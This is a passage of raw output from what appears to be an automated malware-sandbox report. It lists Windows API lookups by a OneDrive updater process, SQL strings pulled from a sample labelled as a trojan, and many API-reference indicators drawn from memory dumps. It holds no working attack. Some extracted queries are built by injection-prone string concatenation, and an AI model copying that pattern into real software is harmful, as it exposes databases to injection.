parameter WakeAllConditionVariable (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter RoActivateInstance (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WindowsGetStringRawBuffer (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WscRegisterForChanges (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WscUnRegisterChanges (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter RtlConvertDeviceFamilyInfoToString (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter AppPolicyGetThreadInitializationType (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter IsWow64Process2 (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WofIsExternalFile (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter CfGetPlatformInfo (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "GetProcAddress" with a parameter WofShouldCompressBinaries (UID: 00000000-00007708)3d:Tead,"SELECT id, ime, prezime, ocena FROM ucenik ORDER BY id" (Source: fc064.Trojan.exe, Indicator: "select id, ime, prezime, ocena from ucenik order by id") "INSERT INTO Ucenik (ime, prezime, ocena) VALUES ('" (Source: fc064.Trojan.exe, Indicator: "insert into ucenik (ime, prezime, ocena) values ('") "DELETE FROM Ucenik WHERE id =" (Source: fc064.Trojan.exe, Indicator: "delete from ucenik where id =") "SELECT id, ime+' '+prezime as naziv FROM ucenik ORDER BY naziv" (Source: fc064.Trojan.exe, Indicator: "select id, ime+' '+prezime as naziv from ucenik order by naziv") "SELECT * FROM predmet" (Source: fc064.Trojan.exe, Indicator: "select * from predmet") "SELECT * FROM ocena_ok" (Source: fc064.Trojan.exe, Indicator: "select * from ocena_ok") "SELECT * FROM korisnik WHERE email='" (Source: fc064.Trojan.exe, Indicator: "select * from korisnik where email='") "SELECT * FROM" (Source: fc064.Trojan.exe, Indicator: "select * from") "CREATE TABLE IF NOT EXISTS general_settings (" (Source: 00000000-00004560.00000000.81027.5CB30000.00000004.mdmp, Indicator: "create table if not exists general_settings (") "CREATE TABLE IF NOT EXISTS subscriptions(" (Source: 00000000-00004560.00000000.81027.5CB30000.00000004.mdmp, Indicator: "create table if not exists subscriptions(") "CREATE TABLE IF NOT EXISTS lists (" (Source: 00000000-00004560.00000000.81027.5CB30000.00000004.mdmp, Indicator: "create table if not exists lists (") "CREATE TABLE IF NOT EXISTS list_collections (" (Source: 00000000-00004560.00000000.81027.5CB30000.00000004.mdmp, Indicator: "create table if not exists list_collections (") "CREATE TABLE IF NOT EXISTS list_collection_items (" (Source: 00000000-00004560.00000000.81027.5CB30000.00000004.mdmp, Indicator: "create table if not exists list_collection_items (") "CREATE TABLE IF NOT EXISTS list_collection_item_attributes (" (Source: 00000000-00004560.00000000.81027.5CB30000.00000004.mdmp, Indicator: "create table if not exists list_collection_item_attributes (") "CREATE TABLE IF NOT EXISTS app_boot_data (" (Source: 00000000-00004560.00000000.81027.5CB30000.00000004.mdmp, Indicator: "create table if not exists app_boot_data (") "CREATE TABLE IF NOT EXISTS lookup_relationships (" (Source: 00000000-00004560.00000000.81027.5CB30000.00000004.mdmp, Indicator: "create table if not exists lookup_relationships (") "CREATE TABLE lookup_relationships (" (Source: 00000000-00004560.00000000.81027.5CD58000.00000004.mdmp, Indicator: "create table lookup_relationships (") "CREATE TABLE app_boot_data (" (Source: 00000000-00004560.00000000.81027.5CD58000.00000004.mdmp, Indicator: "create table app_boot_data (") "CREATE TABLE list_collection_item_attributes (" (Source: 00000000-00004560.00000000.81027.5CD58000.00000004.mdmp, Indicator: "create table list_collection_item_attributes (") "CREATE TABLE list_collection_items (" (Source: 00000000-00004560.00000000.81027.5CD58000.00000004.mdmp, Indicator: "create table list_collection_items (") "CREATE TABLE sqlite_sequence(name,seq)" (Source: 00000000-00004560.00000000.81027.5CD58000.00000004.mdmp, Indicator: "create table sqlite_sequence(name,seq)"), "CREATE TABLE list_collections (" (Source: 00000000-00004560.00000000.81027.5CD58000.00000004.mdmp, Indicator: "create table list_collections (") "CREATE TABLE lists (" (Source: 00000000-00004560.00000000.81027.5CD58000.00000004.mdmp, Indicator: "create table lists (") "CREATE TABLE __schema_version (version INTEGER PRIMARY KEY)" (Source: 00000000-00004560.00000000.81027.5CD58000.00000004.mdmp, Indicator: "create table __schema_version (version integer primary key)"), "CREATE TABLE subscriptions(" (Source: 00000000-00004560.00000000.81027.5CD58000.00000004.mdmp, Indicator: "create table subscriptions(")3e:T802,Found reference to API "CreateProcessW" (Indicator: "CreateProcess"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "CreateProcessAsUserW" (Indicator: "CreateProcess"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "CreateProcessWithTokenW" (Indicator: "CreateProcess"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "CreateProcess failed (Error code: %lu) when trying to open new browser window." (Indicator: "CreateProcess"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp")3f:T51e,Found reference to API "CreateDirectoryW" (Indicator: "CreateDirectory"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp, 00000000-00004560.00000000.81027.E5626000.00000002.mdmp") Found reference to API "SHCreateDirectoryExW" (Indicator: "CreateDirectory"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp")40:Ta73,Found reference to API "RegCreateKeyExW" (Indicator: "RegCreateKey"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.D784D000.00000004.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "RegCreateKeyTransactedW" (Indicator: "RegCreateKey"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "RegCreateKeyTransactedW" (Indicator: "RegCreateKeyTransacted"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "RegLoadKeyW" (Indicator: "RegLoadKey"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp")41:T473,Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp, 00000000-00000848.00000000.67361.723F9000.00000002.mdmp") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.D784D000.00000004.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF712000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp, 00000000-00004560.00000000.81027.E5626000.00000002.mdmp")42:T63a,Found reference to API "RegCloseKey" (Indicator: "RegCloseKey"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp, 00000000-00000848.00000000.67361.723F9000.00000002.mdmp") Found reference to API "RegCloseKey" (Indicator: "RegCloseKey"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.0AC65000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.D784D000.00000004.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "RegUnLoadKeyW" (Indicator: "RegUnLoadKey"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp")43:T7bd,Found reference to API "FindResourceExW" (Indicator: "FindResource"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp, 00000000-00000848.00000000.67361.723F9000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00000848.00000000.67361.723F9000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00000848.00000000.67361.723F9000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00000848.00000000.67361.723F9000.00000002.mdmp") Found reference to API "FindResourceExW" (Indicator: "FindResource"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp")44:T63e,Found reference to API "MoveFileW" (Indicator: "MoveFile"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "MoveFileExW" (Indicator: "MoveFile"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "SharePoint/(.*/)?_api/SP.MoveCopyUtil.MoveFileByPath" (Indicator: "MoveFile"; Source: "00000000-00004560.00000000.81027.5ABD0000.00000004.mdmp") file/memory contains long string with (Indicator: "MoveFile"; Source: "00000000-00004560.00000000.81027.5CB30000.00000004.mdmp") Found reference to API "MoveFileByPath" (Indicator: "MoveFile"; Source: "00000000-00004560.00000000.81027.5CB30000.00000004.mdmp")45:T684,Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00000848.00000000.67361.723F9000.00000002.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00000848.00000000.67361.723F9000.00000002.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "CommandLineToArgvW" (Indicator: "CommandLineToArgv"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp")46:T414,Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00004560.00000000.81027.0AC65000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.E5626000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.E5626000.00000002.mdmp, 00000000-00004560.00000000.81027.E83D4000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.E5626000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp")47:Te98,Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp, 00000000-00000848.00000000.67361.723F9000.00000002.mdmp") Found reference to API "OpenProcess on PID=" (Indicator: "OpenProcess"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "OpenProcess() returned nullptr. Error:" (Indicator: "OpenProcess"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "due to OpenProcess returning nullptr." (Indicator: "OpenProcess"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.DF712000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E83D4000.00000002.mdmp")48:Tafe,Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp, 00000000-00000848.00000000.67361.723F9000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00000848.00000000.67361.00597000.00000002.mdmp, 00000000-00000848.00000000.67361.723F9000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.0AC65000.00000002.mdmp, 00000000-00004560.00000000.81027.0B051000.00000002.mdmp, 00000000-00004560.00000000.81027.0CEC5000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D5D4D000.00000002.mdmp, 00000000-00004560.00000000.81027.D6088000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.D6750000.00000002.mdmp, 00000000-00004560.00000000.81027.D784D000.00000004.mdmp, 00000000-00004560.00000000.81027.DF214000.00000002.mdmp, 00000000-00004560.00000000.81027.DF712000.00000002.mdmp, 00000000-00004560.00000000.81027.DF79A000.00000002.mdmp, 00000000-00004560.00000000.81027.DF8BC000.00000002.mdmp, 00000000-00004560.00000000.81027.DFC5F000.00000002.mdmp, 00000000-00004560.00000000.81027.E03A0000.00000002.mdmp, 00000000-00004560.00000000.81027.E0A20000.00000002.mdmp, 00000000-00004560.00000000.81027.E0AA0000.00000002.mdmp, 00000000-00004560.00000000.81027.E54D9000.00000002.mdmp, 00000000-00004560.00000000.81027.E5598000.00000002.mdmp, 00000000-00004560.00000000.81027.E5626000.00000002.mdmp, 00000000-00004560.00000000.81027.E83D4000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00004560.00000000.81027.02538000.00000002.mdmp, 00000000-00004560.00000000.81027.0AC65000.00000002.mdmp, 00000000-00004560.00000000.81027.0B051000.00000002.mdmp, 00000000-00004560.00000000.81027.0CEC5000.00000002.mdmp, 00000000-00004560.00000000.81027.D5C2A000.00000002.mdmp, 00000000-00004560.00000000.81027.D5D4D000.00000002.mdmp, 00000000-00004560.00000000.81027.D6088000.00000002.mdmp, 00000000-00004560.00000000.81027.D645E000.00000002.mdmp, 00000000-00004560.00000000.81027.D6750000.00000002.mdmp, 